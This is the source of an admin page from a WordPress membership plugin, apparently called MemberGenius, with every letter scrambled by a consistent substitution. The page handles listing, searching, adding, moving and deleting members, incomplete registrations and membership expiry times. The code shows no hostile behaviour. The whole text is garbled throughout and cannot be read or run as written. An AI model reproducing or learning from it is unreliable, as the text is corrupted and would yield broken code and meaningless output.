b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] : QplrmUtBtEBonQplrmUU SqFzB = S_ b&;b$#[QplrmUqFzBQplrmU]U SnBFoDy = (xnnBm(S_ b&;b$#[QplrmUnQplrmU]) W S_ b&;b$#[QplrmUnQplrmU] : QplrmUQplrmU)U xA (qoBz_tFmDy(QTPMGU@\n@QTPMGU, SnBFoDy)) { SnBFoDyBn = qoBz_nquxm(QTPMGU@\n+@nxQTPMGU, SnBFoDy)U SnBFoDyBn = FooFh_tFq(QplrmUmoxtQplrmU, SnBFoDyBn)U SnBFoDyBn = FooFh_AxumBo(SnBFoDyBn, QTPMGUnmouBsQTPMGU)U SmyB$BFoDy = xtqurCB(QplrmU,QplrmU, SnBFoDyBn)U } BunB { SmyB$BFoDy = SnBFoDyU } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU xA (xnnBm(S_ b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = S_ b&;b$#[QplrmUuQplrmU]U } Suxtxm = NPPPPU xA (xnnBm(S_ b&;b$#[QplrmUqoBkxrln4BkBuQplrmU]) QFtqUQFtqU S_ b&;b$#[QplrmUqoBkxrln4BkBuQplrmU] V= SDlooBsm4BkBu) { SnBFoDy = QplrmUQplrmUU } xA (VBtqmh(SnBFoDy)) { SlnBo&lBoh = QplrmUQplrmUU SDlooBsm4BkBu = -OU } BunB { SlnBo&lBoh = QplrmUsltEBo=QplrmU.SuxtxmU } xA (xnnBm(S_9b#[QplrmUrQplrmU])) { xA (S_9b#[QplrmUrQplrmU] == QplrmUsQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=Axonm_sFtBQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUsUuQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=uFnm_sFtBQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUlQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=urzxsQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUBQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=BtFxuQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUoQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=lnBo_oBzxnmBoBCQplrmUU } xA (S_9b#[QplrmUrQplrmU] == QplrmUoUCQplrmU) { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=lnBo_oBzxnmBoBCQFtqUroCBo=cb$dQplrmUU } } BunB { SlnBo&lBoh .= QplrmUQFtqUroCBoEh=lnBo_oBzxnmBoBCQFtqUroCBo=cb$dQplrmUU } xA (SmyB$BFoDy) { SlnBo&lBoh .= QplrmUQFtqUn=SmyB$BFoDyQplrmUU } xA (SDlooBsm4BkBu QzmU= P) { SlnBo&lBoh .= QplrmUQFtqUuBkBu=SDlooBsm4BkBuQplrmUU } SlnBon = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(SlnBo&lBoh)U WQzmUYY QumUyMQzmU3FsFzB 3BtEBonQumU/yMQzmUY QumUWqyq Smyxn-QzmUtBsl_tBtEBon_tBnnFzB(StBnnFzB, StBnnFzB4BkBun)U WQzmUYY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs tFslFuuh FCC ro oBtrkB tBtEBon rA hrlo nxmB. ?yBs 3BtEBo 9Bsxln xn BsFEuBC, QumUEQzmUf44 rA hrlo DrsmBsmQumU/EQzmU (Fuu qFzBn FsC qrnmn rs myxn Eurz) FoB qormBDmBC Aort qlEuxD lnBon jxmyrlm Fs FDDrlsm.QumU/qQzmUYY QumUqQzmU?yBs Fsh rA myB lnBon EBurj urzxs mr myB nxmB, myBh zBm FDDBnn mr QumUEQzmUkxBj f44 myB DrsmBsm.QumU/EQzmUQumU/qQzmUYY QumUqQzmUfCC ro CBuBmB lnBon EBurj, FsC myBs nBm hrlo QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU)U WQzmUQplrmUQzmUQumUEQzmUqFhtBsmnQumU/EQzmUQumU/FQzmU mr EBzxs FDDBqmxsz trsBh.QumU/qQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUqFzBQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB)U WQzmUQplrmU /QzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUqoBkxrln4BkBuQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUWqyq xA (nmoqrn(SnBFoDy, QplrmU\sQplrmU) V== AFunB): WQzmUY QumUmBimFoBF sFtB=QplrmUnQplrmU quFDByruCBo=QplrmU$BFoDy 3BtEBonQplrmU Drun=QplrmUHPQplrmU orjn=QplrmUKQplrmU /QzmUQumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY QumUWqyq BunB: WQzmUY QumUxsqlm mhqB=QplrmUnBFoDyQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQplrmU sFtB=QplrmUnQplrmU quFDByruCBo=QplrmU$BFoDy 3BtEBonQplrmU rsCEuDuxDv=QplrmUtBtEBozBsxln_tlumxnBFoDy(myxn)UQplrmU /QzmUY QumUWqyq BsCxAU WQzmUYY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$BFoDyQplrmUQzmU Y QumUF mxmuB=QplrmUfCC 2Bj 3BtEBoQplrmU yoBA=QplrmUT#e_xsuxsBWyBxzym=LKPQFtqUFtqUjxCmy=KPPQFtqUFtqUxsuxsB7C=tBtEBozBsxln_sBjtBtEBoQplrmU DuFnn=QplrmUFCC-sBj-yN myxDvEri tBtEBozBsxln_qrqlqQplrmU nmhuB=QplrmUmrq:-OqiUQplrmUQzmUfCC 2Bj 3BtEBoQumU/FQzmUY QumU/qQzmUYY QumUqQzmUY QumUEQzmUeorjnB 4BkBu:QumU/EQzmU Y QumUF QumUWqyq xA (-O == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmUyoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU) . QplrmUQFtqUu=-OQplrmUU WQzmUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU])): WQzmUQFtqUr=QumUWqyq BDyr ymtuBsmxmxBn(S_9b#[QplrmUrQplrmU])U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUfuu 3BtEBon (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm()U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUF QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu) QFtqUQFtqU SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU) . QplrmUQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c)U WQzmUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU])): WQzmUQFtqUr=QumUWqyq BDyr ymtuBsmxmxBn(S_9b#[QplrmUrQplrmU])U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmU (QumUWqyq BDyr xsmkFu(SuBkBu-QzmUFDmxkB)U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY QumUWqyq BsCAroBFDyU WQzmUY QumU/qQzmUYY QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu)): WQzmUY QumUqQzmUdyBDv myB lnBon hrl jFsm mr DyFszB FsC tFvB hrlo nBuBDmxrs:QumUEo /QzmUYY QumUsrEoQzmUY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uBkBunQplrmU xC=QplrmUtBtEBozBsxln_uBkBunQplrmUQzmUY QumUrqmxrs kFulB=QplrmU-QplrmUQzmU4BkBun...QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUYY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUfCC mr 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU3rkB mr 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU BtrkB Aort 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUdFsDBu Aort 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU;sDFsDBu Aort 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmUcBuBmB 3BtEBonQplrmU rsDuxDv=QplrmUoBmlos tBtEBozBsxln_DrsAxot()UQplrmU /QzmUY QumU/srEoQzmUY QumU/qQzmUY QumUWqyq BsCxAU WQzmUYY QumUWqyqY Smyxn-QzmUtBsl_tBtEBon_mFEuB(SDlooBsm4BkBu, SlnBon, SuBkBun, SnBFoDy)U WQzmUYY QumU/ArotQzmUYY QumUCxk Fuxzs=QplrmUDBsmBoQplrmU xC=QplrmUtBtEBozBsxln_sBjtBtEBoQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUY QumUCxk xC=QplrmUtBtEBozBsxln_qrqlqQplrmUQzmUY QumUWqyq Smyxn-QzmUoBzxnmBo(molB)U WQzmUY QumU/CxkQzmUY QumU/CxkQzmUYY QumUWqyq Smyxn-QzmUwFkFnDoxqm()U WQzmUYY QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY QumUV--Y /*Y TtBtEBozBsxln_qrqlq { yBxzym:KPPqiU }Y T#e_jxsCrj { yBxzym:KPPqiU }Y T#e_FwFidrsmBsm { yBxzym:KPPqi VxtqromFsmU }Y */Y /* T#e_mxmuB { CxnquFh:srsBU }*/YY TtBtEBozBsxln_qrqlq { tFozxs-mrq:NPqiU }Y TtBtEBozBsxln_qrqlq yM { Arsm-nxgB:NLqiU tFozxs:OPqi P NPqi PU qFCCxsz-Ermmrt:KqiU EroCBo-Ermmrt:Oqi nruxC TCECECEU }Y TtBtEBozBsxln_qrqlq mFEuB mErCh mo mC { kBomxDFu-Fuxzs:mrqU qFCCxsz:NqiU }Y TtBtEBozBsxln_qrqlq .CBnD { Arsm-nxgB:OOqiU Arsm-nmhuB:xmFuxDU qFCCxsz-Ermmrt:KqiU }Y // --QzmUY QumU/nmhuBQzmUY QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_mBtq() { zurEFu StBtEBozBsxlnU WQzmUY QumUyMQzmU7sDrtquBmB BzxnmoFmxrsnQumU/yMQzmUYY QumUqQzmU#yBnB FoB qBrquB jyr yFkB qFxC trsBh xsmr hrlo nxmB Elm yFkB srm DrtquBmBC myBxo tBtEBo oBzxnmoFmxrs.QumU/qQzmUYY QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs DyrrnB mr CBuBmB myBnB xsDrtquBmB oBzxnmoFmxrsn (Aro BiFtquB, xA myBh oBAlsCBC ro tFCB F ClquxDFmB qloDyFnB), ro DrtquBmB myBxo oBzxnmoFmxrs Aro myBt Eh DuxDvxsz myB FqqorqoxFmB oBzxnmoFmxrs uxsv EBurj.QumU/qQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUYY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy srjoFq=QplrmUQplrmU nDrqB=QplrmUDruQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmU nmhuB=QplrmUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU#oFsnFDmxrsQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU2FtBQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmUbtFxuQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4BkBuQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU DuFnn=QplrmUsltQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUcFmBQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUY QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqn() Fn SmBtq): WQzmUY QumUWqyqY SuBkBu = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SmBtq-QzmUuBkBu_xC)U Suxsv = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny) . QplrmUQFtqUDrtquBmB=QplrmU.SmBtq-QzmUmis_xCU WQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUorjQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_mBtqn[QumUWqyq BDyr xsmkFu(SmBtq-QzmU7c)U WQzmU]QplrmU /QzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SuxsvU WQzmUQplrmUQzmUQumUEQzmUQumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUmis_xC)U WQzmUQumU/EQzmUQumU/FQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUtBmF[QplrmUlnBosFtBQplrmU])U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUtBmF[QplrmUBtFxuQplrmU])U WQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY QumUWqyq xA (SmBtq-QzmUuBkBu_nmFmln == QplrmUfQplrmU): WQzmUY QumUWqyq BDyr SuBkBu-QzmUuBkBu_sFtBU WQzmUY QumUWqyq BunB: WQzmUY QumUnQzmUQumUWqyq BDyr SuBkBu-QzmUuBkBu_sFtBU WQzmUQumU/nQzmUY QumUWqyq BsCxAU WQzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY QumUWqyq BDyr ymtuBsmxmxBn(SmBtq-QzmUmBtq_DoBFmBC)U WQzmU QumUntFuuQzmU(QumUWqyq BDyr Smyxn-QzmUmxtBnxsDB(nmomrmxtB(SmBtq-QzmUmBtq_DoBFmBC))U WQzmU)QumU/ntFuuQzmUY QumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mErChQzmUY QumU/mFEuBQzmUYY QumUqQzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_mBtqn_DrtquBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmUdrtquBmB $BuBDmBC BzxnmoFmxrsnQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_mBtqn_CBuBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUcBuBmB $BuBDmBC BzxnmoFmxrsnQplrmU rsDuxDv=QplrmUoBmlos DrsAxot(QTPMGUfoB QumUWqyq BDyr Dyo(HG)U WQzmUrl $; b QumUWqyq BDyr Dyo(HG)U WQzmUrl ?Fsm mr cBuBmB myB $BuBDmBC 7sDrtquBmB BzxnmoFmxrsnW\s\sduxDv 15 mr CBuBmB, dFsDBu mr nmrq.QTPMGU)UQplrmU /QzmUQumU/qQzmUYY QumU/ArotQzmUY QumUWqyqY } qoxkFmB AlsDmxrs tBsl_tBtEBon_mFEuB(SDlooBsm4BkBu, QFtqUSlnBon, QFtqUSuBkBun, SnBFoDy, SqFzB=O) { zurEFu StBtEBozBsxlnU SsBimdors = jq_sBim_nDyBCluBC(QTPMGUtBtEBozBsxln_qorDBnnQTPMGU)U Smyxn0FzB = (xnnBm(S_ b&;b$#[QplrmUqFzBQplrmU]) W S_ b&;b$#[QplrmUqFzBQplrmU] : QplrmUQplrmU)U WQzmUY QumUV-- mFEuB rA lnBon --QzmUY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy srjoFq=QplrmUQplrmU nDrqB=QplrmUDruQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmU nmhuB=QplrmUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU]) QFtqUQFtqU S_9b#[QplrmUrQplrmU] == QplrmUsQplrmU): WQzmUr=sUuQumUWqyq BunB: WQzmUr=sQumUWqyq BsCxAU WQzmUQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmU2FtBQumU/FQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUr=lQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmU;nBosFtBQumU/FQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUr=BQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUbtFxuQumU/FQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4BkBunQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU$lEnDoxEBCQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU DuFnn=QplrmUsltQplrmUQzmUQumUF yoBA=QplrmUWqFzB=QumUWqyq BDyr Smyxn0FzBU WQzmUQFtqUFtqUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU]) QFtqUQFtqU S_9b#[QplrmUrQplrmU] == QplrmUoQplrmU): WQzmUr=oUCQumUWqyq BunB: WQzmUr=oQumUWqyq BsCxAU WQzmUQumUWqyq xA (SnBFoDy): WQzmUQFtqUFtqUn=QumUWqyq BDyr ymtuBsmxmxBn(SnBFoDy)U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmU BzxnmBoBCQumU/FQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUbiqxoBnQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUY QumUWqyq AroBFDy (SlnBon Fn SlnBo): WQzmUY QumUWqyqY SAxonmsFtB = zBm_lnBo_tBmF(SlnBo-QzmU7c,QTPMGUAxonm_sFtBQTPMGU, molB)U SuFnmsFtB = zBm_lnBo_tBmF(SlnBo-QzmU7c,QTPMGUuFnm_sFtBQTPMGU, molB)U SAluusFtB = SAxonmsFtB . QplrmU QplrmU . SuFnmsFtBU SlnBo4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c)U xA (VSlnBo4BkBun || Vxn_FooFh(SlnBo4BkBun)) { SlnBo4BkBun = FooFh()U } WQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUorjQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmUQzmUY QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_lnBon[QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_lnBon[QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmUQplrmUQzmUY QumU/myQzmUY QumUmCQzmUQumUuFEBu nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmU Aro=QplrmUtBtEBozBsxln_lnBon[QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmU]QplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SAluusFtB)U WQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmCQzmUQumUnmorszQzmUQumUF yoBA=QplrmUlnBo-BCxm.qyqWlnBo_xC=QumUWqyq BDyr xsmkFu(SlnBo-QzmU7c)U WQzmUQFtqUFtqUjq_ymmq_oBABoBo=tBtEBozBsxlnQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo-QzmUlnBo_urzxs)U WQzmUQumU/FQzmUQumU/nmorszQzmUQumU/mCQzmUY QumUmCQzmUQumUF yoBA=QplrmUtFxumr:QumUWqyq BDyr ymtuBsmxmxBn(SlnBo-QzmUlnBo_BtFxu)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo-QzmUlnBo_BtFxu)U WQzmUQumU/FQzmUQumU/mCQzmUYY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUY QumUlu nmhuB=QplrmUtFozxs:PUQplrmUQzmUY QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY QumUWqyq SoBzxnmBoBC = nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC)U WQzmUY QumUuxQzmUQumUsrEo QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUdQplrmU): WQzmUnmhuB=QplrmUDruro:oBCUQplrmUQumUWqyq BsCxAU WQzmUQzmUY QumUWqyq SuBkBu2FtB = SuBkBu-QzmUuBkBu_sFtBU WQzmUY QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUfQplrmU): WQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu2FtB)U WQzmUY QumUWqyq BunB: WQzmUQumUnQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/nQzmUY QumUWqyq BsCxAU WQzmUYY QumUWqyq xA (SuBkBu-QzmUuBkBu_mis): WQzmU QumUxQzmU(QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_mis)U WQzmU)QumU/xQzmUQumUWqyq BsCxAU WQzmUY QumU/srEoQzmUQumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumU/mCQzmUYY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUY QumUlu nmhuB=QplrmUtFozxs:PUQplrmUQzmUY QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY QumUuxQzmUQumUWqyq xA (SuBkBu-QzmUuBkBu_nlEnDoxEBC == O): WQzmUQumUWqyq BDyr Dyo(HG)U WQzmUBnQumUWqyq BunB: WQzmU2rQumUWqyq BsCxAU WQzmUQumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumU/mCQzmUYY QumUmC DuFnn=QplrmUsltQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmU QumUV-- oBzxnmBoBC --QzmUY QumUWqyq xA (Drlsm(SlnBo4BkBun) QzmU P): WQzmUY QumUlu nmhuB=QplrmUtFozxs:PUQplrmUQzmUY QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY QumUuxQzmUQumUsrEoQzmUY QumUWqyqY xA (SuBkBu-QzmUuBkBu_mxtBnmFtq) { BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), SuBkBu-QzmUuBkBu_mxtBnmFtq)U BDyr QplrmU QumUntFuuQzmU(QplrmU.Smyxn-QzmUmxtBnxsDB(SuBkBu-QzmUuBkBu_mxtBnmFtq).QplrmU)QumU/ntFuuQzmUQplrmUU } BunB { BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), SoBzxnmBoBC)U BDyr QplrmU QumUntFuuQzmU(QplrmU.Smyxn-QzmUmxtBnxsDB(SoBzxnmBoBC).QplrmU)QumU/ntFuuQzmUQplrmUU } WQzmUY QumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumUWqyq BunB: WQzmUY QumUWqyqY BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC))U BDyr QplrmU QumUntFuuQzmU(QplrmU.Smyxn-QzmUmxtBnxsDB(nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC)).QplrmU)QumU/ntFuuQzmUQplrmUU WQzmUY QumUWqyq BsCxAU WQzmUY QumU/srEoQzmUY QumU/mCQzmUYY QumUmC DuFnn=QplrmUsltQplrmUQzmU QumUV-- BiqxoBn --QzmUY QumUWqyq xA (Drlsm(SlnBo4BkBun) QzmU P): WQzmUY QumUlu nmhuB=QplrmUtFozxs:PU Druro:TFFFFFFUQplrmUQzmUY QumUWqyq AroBFDy (SlnBo4BkBun Fn SuBkBu): WQzmUY QumUWqyqY SCFhncxnquFh = PU SoBFudors = sluuU SBiqxoFmxrs = xsmkFu(SuBkBu-QzmUuBkBu_BiqxoFmxrs)U SBiqxoFmxrscFmB = SuBkBu-QzmUuBkBu_mxtBnmFtq + (SBiqxoFmxrs*HJLPP)U xA (SBiqxoFmxrs QzmU P QFtqUQFtqU SBiqxoFmxrscFmB QzmU mxtB()) { SnDyBCluBCdors = tvmxtB(CFmB(QplrmU8QplrmU, SBiqxoFmxrscFmB), CFmB(QplrmUxQplrmU, SsBimdors), CFmB(QplrmUnQplrmU, SsBimdors), CFmB(QplrmUsQplrmU, SBiqxoFmxrscFmB), CFmB(QplrmUwQplrmU, SBiqxoFmxrscFmB), CFmB(Dyo(HG), SBiqxoFmxrscFmB))U xA (SnDyBCluBCdors QzmU SBiqxoFmxrscFmB) { SoBFudors = SnDyBCluBCdorsU } BunB { SoBFudors = tvmxtB(CFmB(QplrmU8QplrmU, SBiqxoFmxrscFmB)+O, CFmB(QplrmUxQplrmU, SsBimdors), CFmB(QplrmUnQplrmU, SsBimdors), CFmB(QplrmUsQplrmU, SBiqxoFmxrscFmB), CFmB(QplrmUwQplrmU, SBiqxoFmxrscFmB), CFmB(Dyo(HG), SBiqxoFmxrscFmB))U } SmxtB4BAm = SoBFudors - mxtB()U SCFhn4BAm = Aurro(SmxtB4BAm/HJLPP)U Syrlon4BAm = Aurro(SmxtB4BAm/MJPP) % NLU StxslmBn4BAm = Aurro(SmxtB4BAm/JP) % JPU SCFhncxnquFh = QplrmUQplrmUU 